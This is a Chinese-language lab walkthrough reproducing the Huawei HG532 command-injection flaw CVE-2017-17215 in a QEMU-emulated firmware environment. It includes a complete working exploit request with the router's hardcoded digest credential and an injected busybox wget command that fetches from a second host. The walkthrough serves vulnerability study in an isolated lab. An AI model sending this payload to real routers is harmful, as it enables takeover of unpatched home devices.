华为HG532系列路由器命令注入漏洞复现 CVE-2017-17215

Ubuntu16.04操作系统qemu虚拟机HG532eV100R001C01B020_upgrade_packet.bin固件Ghidra逆向分析工具

1.提取固件apt-get -y install binwalk     #需要提前安装binwalkbinwalk -Me HG532eV100R001C01B020_upgrade_packet.bin    #解压后主程序位于squashfs-root/目录下
2.下载qemu虚拟机sudo apt-get install -y qemu binfmt-support qemu-user-static
3.下载镜像wget https://people.debian.org/~aurel32/qemu/mips/debian_squeeze_mips_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mips/vmlinux-2.6.32-5-4kc-malta
4.配置网络，创建网桥，实现虚拟机内部和Ubuntu的连接sudo apt-get install bridge-utilssudo brctl addbr Virbr0sudo ifconfig Virbr0 192.168.50.51/24 up
5.创建tap接口，添加到网桥sudo apt install uml-utilitiessudo tunctl -t tap0sudo ifconfig tap0 192.168.50.52/24 upsudo brctl addif Virbr0 tap0
6.qemu虚拟机配置，账号密码都为rootapt install qemu-system-mips#记得到下载的镜像下进行启动 sudo qemu-system-mips -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mips_standard.qcow2 -append "root=/dev/sda1 console=tty0" -netdev tap,id=tapnet,ifname=tap0,script=no -device rtl8139,netdev=tapnet -nographic#进入虚拟机后，配置ip地址，测试与主机的连通性ifconfig eth0 192.168.50.53/24 upping 192.168.50.51 -c 3
7.搭建HG532e漏洞环境#回到主机中将squashfs-root文件夹复制到虚拟机，根据提示输入密码rootscp -r squashfs-root/ [email protected]:~/ 
#进入启动的虚拟机，挂载程序文件mount -o bind /dev ./squashfs-root/devmount -t proc /proc ./squashfs-root/proc#启动shell，注意：这个shell是用来后面改IP地址的，chroot squashfs-root sh#在Ubuntu里面再单独开一个终端，使用ssh连接上去通过ssh启动的终端，启动路由器ssh [email protected] chroot squashfs-root /bin/sh ./bin/upnp ./bin/mic
#此时的虚拟机的路由IP已经发生了变化，ssh已经断开了，所以需要返回虚拟机的终端进行更改IP地址ifconfig eth0 192.168.50.53/24 upifconfig br0 192.168.50.52/24 up

POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Host: 192.168.50.53:37215User-Agent: Mozilla/5.0 (iPad; CPU iPad OS 9_3_5 like Mac OS X) AppleWebKit/535.2 (KHTML, like Gecko) FxiOS/15.8w3010.0 Mobile/65J335 Safari/535.2Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Type: text/xmlAuthorization: Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669Content-Length: 449
<?xml version="1.0" ?>         <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">          <s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">           <NewStatusURL>;/bin/busybox wget http://192.168.50.51:9000;</NewStatusURL>           <NewDownloadURL>HUAWEIUPNP</NewDownloadURL>          </u:Upgrade>         </s:Body>        </s:Envelope>

netstat -nltup |grep 37215

grep -r ctrltgrep -r DeviceUpgrade

grep -r NewStatusURLgrep -r NewDownloadURL